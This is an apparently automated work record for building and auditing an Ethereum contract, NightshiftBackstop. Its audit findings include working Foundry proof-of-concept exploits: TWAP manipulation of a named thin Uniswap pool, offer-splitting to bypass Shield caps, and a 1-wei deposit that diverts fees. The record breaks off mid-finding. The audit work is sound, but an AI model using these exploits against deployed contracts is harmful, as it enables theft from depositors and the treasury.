{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"81de6bc1-8458-493d-a84c-74690954579e","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"1272220749450e76c2325b43dcfc26693ce37e435653bc303be29e8ccdc9ce58","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"4c4ab41393f5cbe8ae8f33dd6f4e9c4d5e2ac3540e7001430534fa2b8f124984","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"25a9937148a39838ec258a564900fbfa9f6637437eef905e3993d096c19b7a9b","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"ecb7cfd9aa472b6d5394b4efd48148cce07b463e54fec2af208de6e02267b5a4","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"55b29689dd1b43ddacad0511280b916d82c78365d77add18dc9e540d001be66e","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"e4e4f3b827afa7272041a0433acc7d3bc6a34815c2bc1d59e5eb780daf0c94a9","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"15b04fc8f60521936b9e2b37c09a804685ec689fc98cd5b04510d986d3106a15","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"15b04fc8f60521936b9e2b37c09a804685ec689fc98cd5b04510d986d3106a15","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"018a8c5dae563a9d4dcac8443676ba21882e392e5a680d2ef0140db4fc7cb6ba","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"678a92e9cb554c4f284160c25a0374484ae21fb35677ed09c19c596aa9120bc7","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"1ddb4d02eb75e52d5f38cfd5c9bb54f332687b81929c68880cf1e8a6ab27254d","skillId":"write-foundry-tests","subagents":4,"tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"1ddb4d02eb75e52d5f38cfd5c9bb54f332687b81929c68880cf1e8a6ab27254d","skillId":"write-foundry-tests","state":"accepted"}],"objective":"https://github.com/RobertKodes/backstop do this but for eth imd and for getnightshift.tech project.","parentJobId":null,"planHash":"8a3866d8779f93cd470fb5fe5658cbc989a9c1bf4433b09dedf2c9380ee1502e","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"81de6bc1-8458-493d-a84c-74690954579e","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-3158-https-github-com-robertkodes-backstop-do"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51162","feedbackHash":"391b8fbc402a37aaec7e168161aea3c40c944989fb8b4c08da9a6426e38e7bcb","nodeKey":"audit_economics","submissionHash":"1272220749450e76c2325b43dcfc26693ce37e435653bc303be29e8ccdc9ce58","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51024","feedbackHash":"7b56ab10104f23964415bd7b81e95b2d0bd0ff6da1ceb95ca29533a9bbcd0a9e","nodeKey":"audit_flow","submissionHash":"4c4ab41393f5cbe8ae8f33dd6f4e9c4d5e2ac3540e7001430534fa2b8f124984","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51168","feedbackHash":"7c888d8bfde563c7347665d0cd3080c17bb23cca90272c4ebc3863f6a443cbfc","nodeKey":"audit_judge","submissionHash":"58d0aeca23c831834ff24232e173cf0aba65a8575d8a25fabd236a32da3966bf","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52613","feedbackHash":"16dc94525d6de4a6d41ab6957bc3465905823a321b3593a76c4f48bc9d5fb93a","nodeKey":"audit_judge","submissionHash":"25a9937148a39838ec258a564900fbfa9f6637437eef905e3993d096c19b7a9b","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51198","feedbackHash":"4b4ce1e10e2acbb9912123c6b3c335bc887f6ebe44b5e20b2dac92e8c5c9cea8","nodeKey":"audit_math","submissionHash":"ecb7cfd9aa472b6d5394b4efd48148cce07b463e54fec2af208de6e02267b5a4","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51179","feedbackHash":"fb6865edc6e06c2cf5f775f01775078e2d645af1e08228ff61707ce70ed5eb5b","nodeKey":"audit_permissions","submissionHash":"55b29689dd1b43ddacad0511280b916d82c78365d77add18dc9e540d001be66e","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50939","feedbackHash":"d7ef5448bac027972a15b6b5de54872d0b58e78e79015baac6a4191ec679324b","nodeKey":"build_contract_project","submissionHash":"e4e4f3b827afa7272041a0433acc7d3bc6a34815c2bc1d59e5eb780daf0c94a9","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51447","feedbackHash":"07b7baaca5e318b75c34bad2235d4bb01cfa8d22c2ffaf3da52b1c72c02691e1","nodeKey":"build_contract_project","submissionHash":"de799a90b640917541b8062187be6b2a18914d23c89a6297f5098d22d981cefe","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51751","feedbackHash":"bb6de2a9202e8f2b161e485bf44f024c6d1b260b5e5c04dbb02a4ce6e5cc8750","nodeKey":"manifest","submissionHash":"8a2b2aadc987aaa8884676a7778fcea941578e4ee6132e5c7dc48fb8bfcc1120","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51490","feedbackHash":"c5cbb2ae19bd9ddd6ed74aac7ad41a91f7aa8f882f1c019df301cc2d88e8f379","nodeKey":"manifest","submissionHash":"018a8c5dae563a9d4dcac8443676ba21882e392e5a680d2ef0140db4fc7cb6ba","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52209","feedbackHash":"87956e62edb61cb7bb17ebdd8b5180f1d91631f6506f22001003c9623d2b258c","nodeKey":"write_foundry_tests","submissionHash":"54c498e82988874aa473d0384e1cb1a695991d1e71ac113b0e9d0cece286a1e1","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52628","feedbackHash":"a64912881a2b0ce1b7570cbde95b6c2057c6d72cee5b6fcbe3144fef474a8bb5","nodeKey":"write_foundry_tests","submissionHash":"678a92e9cb554c4f284160c25a0374484ae21fb35677ed09c19c596aa9120bc7","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"ef2598a55612db4aa03e16cfe9cbe9d094bf7c4821eb222103af8246b42c87b7","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"ec1ea942f875d7803a6d0c583caab7461c54423bf3a9a01393f65f108d51e03b","device":"7f1df2a55552de06","findings":[],"hash":"018a8c5dae563a9d4dcac8443676ba21882e392e5a680d2ef0140db4fc7cb6ba","nodeId":"38c21845-49ef-421d-9800-578f4eb41df4","outcome":"completed","summary":"I rewrote the `notes` text in `launch.json` because it no longer matched the contract. The contract list and constructor arguments stay as they were.\n\n- **Contract and arguments:** `NightshiftBackstop`'s constructor in the current source still takes six arguments, in this order: owner, token, quote, minimum offer size, Shield cap per offer and minimum bidder holding. The existing arguments match it:\n  - `$owner`, which is also the starting treasury\n  - IMD at `0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7`\n  - USDC at `0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48`\n  - a 1,000 IMD minimum offer\n  - a 10,000 USDC Shield cap per offer\n  - a 1 IMD minimum holding to bid\n\n  These are the same values the README and deploy script use.\n- **What was stale:** the old notes said the owner could pause bids. In the current code, pausing only stops new offers and Shield deposits. The old notes also left out that replacing the price source only takes effect after 37 days. Both points are corrected, and the notes now mention the two-step ownership transfer. The notes are 886 characters, under the 4,000 limit.\n- **Checks:** the file still has only the three keys `kind`, `contracts` and `notes`. `forge build` succeeds, and `forge test` with the verifier's fuzz seed passes all 58 tests. `launch.json` is the only changed file.","treeHash":"cbea16cf339d9bf99f747bcbe937ae3bf688f3db","usage":{"cachedInputTokens":139950,"cost":{"source":"runtime","usdMicros":239739},"inputTokens":12,"model":"claude-opus-5-5","outputTokens":2131,"runtime":"claude","turns":6,"wallClockMs":37147}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"771f83f312eace21","findings":[{"citation":"resolved","description":"settle() makes the Shield buy `s` lots at `o.lotCost`, the value frozen in createOffer from the pool TWAP at that moment, with no re-read of the pool and no bound at settlement time (src/NightshiftBackstop.sol:379-391). Bidders can decline a bad lotCost; the Shield cannot. The only guard is the pump filter (line 344, `momentumBps <= 2000`), which compares two TWAPs read from the same pool, so a price held for TWAP_WINDOW + MOMENTUM_LOOKBACK (90 min) passes it with momentum 0 and the base 5 % discount. The filter is also skipped outright when the older TWAP quote rounds to zero (line 313: `pricePast == 0 ? int256(0)`), which a seller reaches by pushing the tick toward MAX_TICK, where the quote of a 10e18 lot underflows to 0.\n\nThe README names the pool the owner must set: Uniswap v3 0.3 % USDC/IMD pool 0x894d4e6d3d2abc64fc0de0e4e2ea63a93bc9c520. Read on Ethereum mainnet at block 0x1926b7f via the public RPC for chain 1: USDC.balanceOf(pool) = 212,633 (0.21 USDC), IMD.balanceOf(pool) = 6,551.8 IMD, liquidity = 21,067,490,382,534,776, slot0 tick 263,819 (~3.49 USDC per IMD), observation cardinality 1. With 0.21 USDC on the quote side, pushing IMD's quoted price down is free (no liquidity to cross), and pushing it up costs USDC that the manipulator recovers by swapping back once the offers are created; nothing in the pool arbitrages a 30- or 90-minute hold. With cardinality 1 observe() extrapolates from the last swap, so the TWAP equals whatever tick the last swap left as long as no one else trades for 90 minutes, which is the pool's current state.\n\nAttack: hold the pool at 10x for 90 minutes (or 0 for 60 minutes then 10x for 30, using the pricePast==0 bypass), createOffer once or many times (finding 2 removes the per-offer cap), swap back, settle after 1 hour. The Shield pays lotCost = 0.95 * 10x fair per lot; the seller receives 0.97 of that, i.e. 9.2x fair value for every IMD the Shield absorbs. Victims: all Shield depositors, who are told the Shield 'buys its slice of each offer at the discounted price'. The README lists TWAP manipulation as a trust assumption for bidders ('Bidders choose whether to bid after seeing lotCost'); the Shield has no such choice and the pump filter does not cover a held price or a zero past quote.\n\nFix options that keep the design: re-quote the pool in settle() and set s = 0 (or cap lotCost) when the frozen lotCost exceeds the settlement-time TWAP quote; treat pricePast == 0 as ineligible instead of momentum 0; require a minimum quote-side liquidity or observation cardinality in setPriceSource. The proof asserts the first: the Shield must not buy when the pool at settlement values the lot at a tenth of lotCost.","line":380,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract ProofERC20 {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        uint256 a = allowance[from][msg.sender];\n        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Uniswap v3 pool stand-in: cumulatives for a fixed past and present mean tick.\ncontract ProofPool {\n    address public token0;\n    address public token1;\n    int24 public tickPast;\n    int24 public tickNow;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    function setTicks(int24 past, int24 now_) external {\n        tickPast = past;\n        tickNow = now_;\n    }\n\n    function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory c, uint160[] memory l) {\n        uint32 w = secondsAgos[2];\n        uint32 gap = secondsAgos[1] - secondsAgos[2];\n        c = new int56[](4);\n        l = new uint160[](4);\n        c[0] = 1_000_000;\n        c[1] = c[0] + int56(tickPast) * int56(uint56(w));\n        c[2] = c[1] + int56(tickNow) * int56(uint56(gap > w ? gap - w : 0));\n        c[3] = c[2] + int56(tickNow) * int56(uint56(w));\n    }\n}\n\n/// @notice The Shield buys at the price frozen when the offer was created and never re-checks it.\n/// A seller who moves the pool TWAP (both windows, so momentum is 0 and the pump filter passes) for\n/// the 90 minutes before `createOffer`, then lets the price return, sells the Shield tokens at 10x\n/// the pool price it reads at settlement. The Shield is a forced buyer with no opt-out.\ncontract ShieldStalePriceProof is Test {\n    NightshiftBackstop internal bs;\n    ProofERC20 internal imd;\n    ProofERC20 internal usdc;\n    ProofPool internal pool;\n\n    address internal owner = makeAddr(\"owner\");\n    address internal attacker = makeAddr(\"attacker\");\n    address internal depositor = makeAddr(\"depositor\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new ProofERC20(18);\n        usdc = new ProofERC20(18);\n        // minOfferSize 1000 IMD, shieldPerOfferCap 10_000 quote, 1 IMD holder floor (README values).\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new ProofPool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n\n        usdc.mint(depositor, 10_000e18);\n        imd.mint(attacker, 1_000e18);\n        vm.prank(depositor);\n        usdc.approve(address(bs), type(uint256).max);\n        vm.prank(attacker);\n        imd.approve(address(bs), type(uint256).max);\n    }\n\n    /// @dev IMD price multiplier in ticks, sign-corrected for the pool's token order.\n    function _setPrice(int24 ticks) internal {\n        int24 t = address(imd) < address(usdc) ? ticks : -ticks;\n        pool.setTicks(t, t);\n    }\n\n    function test_shieldBuysAtTenTimesTheSettlementPrice() public {\n        vm.prank(depositor);\n        bs.shieldDeposit(10_000e18);\n\n        // Fair price: tick 0, 1 IMD = 1 quote. The attacker held the pool at ~10x for 90 minutes:\n        // both TWAP windows read tick 23027 (1.0001^23027 ~ 10.0), momentum 0, discount 5 %.\n        _setPrice(23027);\n        vm.prank(attacker);\n        uint256 id = bs.createOffer(1_000e18);\n        NightshiftBackstop.Offer memory o = bs.getOffer(id);\n        assertTrue(o.shieldEligible, \"pump filter does not see a held pump\");\n        assertEq(o.discountBps, 500);\n        assertGt(o.lotCost, 90e18); // ~95 quote per 10 IMD lot, fair is 10\n\n        // Price returns to fair right after creation; the frozen lotCost does not.\n        _setPrice(0);\n        vm.warp(block.timestamp + 1 hours);\n        bs.settle(id);\n\n        o = bs.getOffer(id);\n        (uint256 fairLotCost,,) = bs.quoteLot(o.lotSize);\n        uint256 shieldSpent = 10_000e18 - bs.shieldTotalDeposits();\n        uint256 fairValue = o.shieldLots * o.lotSize; // 1 IMD = 1 quote at settlement\n        emit log_named_uint(\"shield lots bought\", o.shieldLots);\n        emit log_named_uint(\"quote the Shield paid\", shieldSpent);\n        emit log_named_uint(\"pool value of those tokens at settlement\", fairValue);\n        emit log_named_uint(\"fair lotCost at settlement\", fairLotCost);\n\n        vm.prank(attacker);\n        bs.claimSeller(id);\n        emit log_named_uint(\"quote the attacker received\", usdc.balanceOf(attacker));\n\n        // Expected: the Shield does not buy lots priced above what the pool is worth when it buys.\n        assertEq(o.shieldLots, 0, \"Shield bought at a frozen price 10x the settlement TWAP\");\n        assertEq(bs.shieldTotalDeposits(), 10_000e18, \"Shield deposits spent on a stale price\");\n    }\n}","reproduction":"State: Shield holds 10,000 quote from one depositor; priceSource is a pool whose both TWAP windows read tick 23027 (price 10x the tick-0 fair price), i.e. the seller held the price for 90 minutes. Calls: seller createOffer(1_000e18) -> offer shieldEligible=true, discountBps=500, lotCost ~95e18 for a 10e18 lot; pool returns to tick 0; warp 1 hour; settle(id); seller claimSeller(id). Expected: the Shield does not buy lots priced at 10x the pool price at settlement (shieldLots 0, shieldTotalDeposits unchanged). Actual: shieldLots = 50, Shield pays 4,749.99 quote for 500 IMD worth 500 quote at the settlement TWAP, seller receives 4,607.50 quote. Run: forge test --match-path test/scratch/ShieldStalePrice.t.sol -vv.","severity":"high","snippet":"        uint256 s = o.shieldEligible ? _shieldLots(lotCost) : 0;","title":"Shield is a forced buyer at the price frozen at createOffer; the designated price source is an empty pool, so a seller sets that price and sells the Shield tokens at a multiple of market"},{"citation":"resolved","description":"_shieldLots bounds one offer to shieldPerOfferCap and to SHIELD_MAX_FUNDS_USE_BPS (50 %) of shieldTotalDeposits at the time that offer settles (lines 405-411). README: 'The Shield spends at most 50 % of its deposits on one offer, so the pool can never be fully drained' and the constant's comment 'keeps the pool from emptying'. Both limits are per offer and createOffer has no limit on offers per seller, per block or per price. A seller who splits the same escrow into N offers in one block gets N identical lotCost values; settling them in sequence spends 50 % of the remaining deposits each time, so the Shield keeps 2^-N of its deposits, all converted at a single frozen price. With the README's values (10,000 USDC per-offer cap) ten offers also lift the absolute per-offer cap to 100,000 USDC. Combined with finding 1 this is how the whole Shield, not one slice, is sold tokens at a stale or manipulated price. The invariant the README states (at most half of deposits exposed to one offer price) does not hold. Fix: track Shield spend per block or per rolling window, or compute byFunds against deposits minus the Shield commitments of all unsettled offers.","line":409,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract ProofERC20 {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        uint256 a = allowance[from][msg.sender];\n        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract ProofPool {\n    address public token0;\n    address public token1;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    /// @dev Flat tick 0: 1 IMD = 1 quote, zero momentum.\n    function observe(uint32[] calldata) external pure returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](4);\n        l = new uint160[](4);\n        for (uint256 i; i < 4; ++i) {\n            c[i] = 1_000_000;\n        }\n    }\n}\n\n/// @notice `SHIELD_MAX_FUNDS_USE_BPS` (50 % of deposits) and `shieldPerOfferCap` are enforced per offer.\n/// One seller creating several offers in one block at one frozen price makes the Shield spend 50 %,\n/// then 50 % of the rest, and so on: five offers commit 95 % of the Shield to a single price point.\ncontract ShieldCapSplitProof is Test {\n    NightshiftBackstop internal bs;\n    ProofERC20 internal imd;\n    ProofERC20 internal usdc;\n\n    address internal owner = makeAddr(\"owner\");\n    address internal seller = makeAddr(\"seller\");\n    address internal depositor = makeAddr(\"depositor\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new ProofERC20(18);\n        usdc = new ProofERC20(18);\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        ProofPool pool = new ProofPool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n\n        usdc.mint(depositor, 1_000e18);\n        imd.mint(seller, 5_000e18);\n        vm.prank(depositor);\n        usdc.approve(address(bs), type(uint256).max);\n        vm.prank(seller);\n        imd.approve(address(bs), type(uint256).max);\n    }\n\n    function test_fiveOffersInOneBlockSpendNinetyFivePercentOfTheShield() public {\n        vm.prank(depositor);\n        bs.shieldDeposit(1_000e18);\n\n        uint256[5] memory ids;\n        vm.startPrank(seller);\n        for (uint256 i; i < 5; ++i) {\n            ids[i] = bs.createOffer(1_000e18); // same block, same lotCost = 9.5e18\n        }\n        vm.stopPrank();\n\n        vm.warp(block.timestamp + 1 hours);\n        for (uint256 i; i < 5; ++i) {\n            bs.settle(ids[i]);\n        }\n\n        uint256 left = bs.shieldTotalDeposits();\n        emit log_named_uint(\"Shield deposits before\", 1_000e18);\n        emit log_named_uint(\"Shield deposits after one block of offers\", left);\n        emit log_named_uint(\"lots bought offer 1\", bs.getOffer(ids[0]).shieldLots);\n        emit log_named_uint(\"lots bought offer 5\", bs.getOffer(ids[4]).shieldLots);\n\n        // Expected per README: at most 50 % of deposits is spent at one price point.\n        assertGe(left, 500e18, \"Shield spent more than 50 % of deposits at one frozen price\");\n    }\n}","reproduction":"State: Shield 1,000 quote; flat pool at tick 0 (lotCost 9.5e18 for a 10e18 lot). Calls: seller createOffer(1_000e18) five times in the same block (ids 1-5); warp 1 hour; settle(1..5). Expected (README): at least 500 quote remains after offers created at one price. Actual: shieldLots 50, 27, 14, 7, 3; shieldTotalDeposits falls 1,000 -> 40.5 quote (95.95 % spent at one lotCost). Run: forge test --match-path test/scratch/ShieldCapSplit.t.sol -vv.","severity":"medium","snippet":"        uint256 byFunds = shieldTotalDeposits * SHIELD_MAX_FUNDS_USE_BPS / BPS / lotCost;","title":"Per-offer Shield caps (50 % of deposits, shieldPerOfferCap) are bypassed by splitting into several offers in one block: five offers commit 96 % of the Shield to one frozen price"},{"citation":"resolved","description":"settle() splits the fee by the test `shieldTotalDeposits != 0` (line 395), not by whether the Shield took any lots. README: 'If the Shield is empty, the whole fee goes to the treasury.' A deposit of 1 wei of quote (0.000001 USDC) makes the Shield non-empty while _shieldLots returns 0 for every offer (byFunds = 1 * 5000 / 10000 / lotCost = 0), so the depositor bears no absorption risk and receives SHIELD_FEE_SHARE_BPS = 80 % of every fee: shieldG += mulDiv(shieldFee, P, 1) and _gain pays initial * (G diff) / P = shieldFee. The treasury's income drops from 100 % to 20 % of fees for a one-time cost of 1 wei plus gas, for as long as no real depositor joins; afterwards the 1 wei depositor still earns in proportion. Victim: treasury (the owner). Fix: pay the Shield fee share only in proportion to lots the Shield absorbed on that offer, or require a minimum deposit, or route the share to the treasury when s == 0.","line":395,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract ProofERC20 {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        uint256 a = allowance[from][msg.sender];\n        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract ProofPool {\n    address public token0;\n    address public token1;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    function observe(uint32[] calldata) external pure returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](4);\n        l = new uint160[](4);\n        for (uint256 i; i < 4; ++i) {\n            c[i] = 1_000_000;\n        }\n    }\n}\n\n/// @notice `settle` gives 80 % of the fee to the Shield whenever `shieldTotalDeposits != 0`, whether or\n/// not the Shield absorbed anything. A 1 wei deposit (the Shield then buys 0 lots) redirects 80 % of\n/// every trade fee from the treasury to the 1 wei depositor.\ncontract ShieldFeeOneWeiProof is Test {\n    NightshiftBackstop internal bs;\n    ProofERC20 internal imd;\n    ProofERC20 internal usdc;\n\n    address internal owner = makeAddr(\"owner\");\n    address internal seller = makeAddr(\"seller\");\n    address internal bidder = makeAddr(\"bidder\");\n    address internal griefer = makeAddr(\"griefer\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new ProofERC20(18);\n        usdc = new ProofERC20(6);\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e6, 1e18);\n        ProofPool pool = new ProofPool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n\n        imd.mint(seller, 1_000e18);\n        imd.mint(bidder, 1e18);\n        usdc.mint(bidder, 1e30); // tick 0 prices a 10 IMD lot at 10e18 quote units\n        usdc.mint(griefer, 1);\n        vm.prank(seller);\n        imd.approve(address(bs), type(uint256).max);\n        vm.prank(bidder);\n        usdc.approve(address(bs), type(uint256).max);\n        vm.prank(griefer);\n        usdc.approve(address(bs), type(uint256).max);\n    }\n\n    function test_oneWeiDepositTakesEightyPercentOfFees() public {\n        vm.prank(griefer);\n        bs.shieldDeposit(1); // 0.000001 USDC\n\n        vm.prank(seller);\n        uint256 id = bs.createOffer(1_000e18);\n        vm.prank(bidder);\n        uint256 bidId = bs.placeBid(id, 100);\n        vm.warp(block.timestamp + 1 hours);\n        bs.settle(id);\n\n        NightshiftBackstop.Offer memory o = bs.getOffer(id);\n        uint256 gross = o.filledLots * o.lotCost;\n        uint256 fee = (gross * 300 + 9_999) / 10_000;\n        (,, uint256 griefGain,) = bs.shieldPosition(griefer);\n        emit log_named_uint(\"Shield lots absorbed\", o.shieldLots);\n        emit log_named_uint(\"total fee\", fee);\n        emit log_named_uint(\"treasuryAccrued\", bs.treasuryAccrued());\n        emit log_named_uint(\"1 wei depositor fee gain\", griefGain);\n\n        vm.prank(griefer);\n        bs.shieldClaimGains();\n        emit log_named_uint(\"1 wei depositor quote balance after claim\", usdc.balanceOf(griefer));\n        vm.prank(bidder);\n        bs.claimBid(bidId);\n\n        assertEq(o.shieldLots, 0, \"Shield absorbed nothing\");\n        // Expected: a Shield that absorbed nothing (README: empty Shield) leaves the whole fee to the treasury.\n        assertEq(bs.treasuryAccrued(), fee, \"80 % of the fee went to a 1 wei deposit\");\n    }\n}","reproduction":"State: empty Shield; flat pool (lotCost 9.5e18). Calls: griefer shieldDeposit(1); seller createOffer(1_000e18); bidder placeBid(id, 100); warp 1 hour; settle(id); griefer shieldClaimGains(). Expected: shieldLots 0 so treasuryAccrued == fee == 28.5e18. Actual: treasuryAccrued = 5.7e18 and the 1 wei depositor is paid 22.8e18 quote. Run: forge test --match-path test/scratch/ShieldFeeOneWei.t.sol -vv.","severity":"medium","snippet":"        if (shieldFee != 0 && shieldTotalDeposits != 0) {","title":"80 % of every trade fee goes to the Shield whenever shieldTotalDeposits != 0: a 1 wei deposit that absorbs nothing takes the treasury's share"},{"citation":"resolved","description":"_compounded rounds down (line 537), so after an absorption a depositor's full withdrawal removes `current` from shieldTotalDeposits (line 479) and leaves the difference as dust while the depositor's record is reset to zero (line 519-525). shieldTotalDeposits is now non-zero with no depositor. Every later settle() then credits 80 % of the fee to shieldG (line 396, divided by the dust) instead of treasuryAccrued. No one can 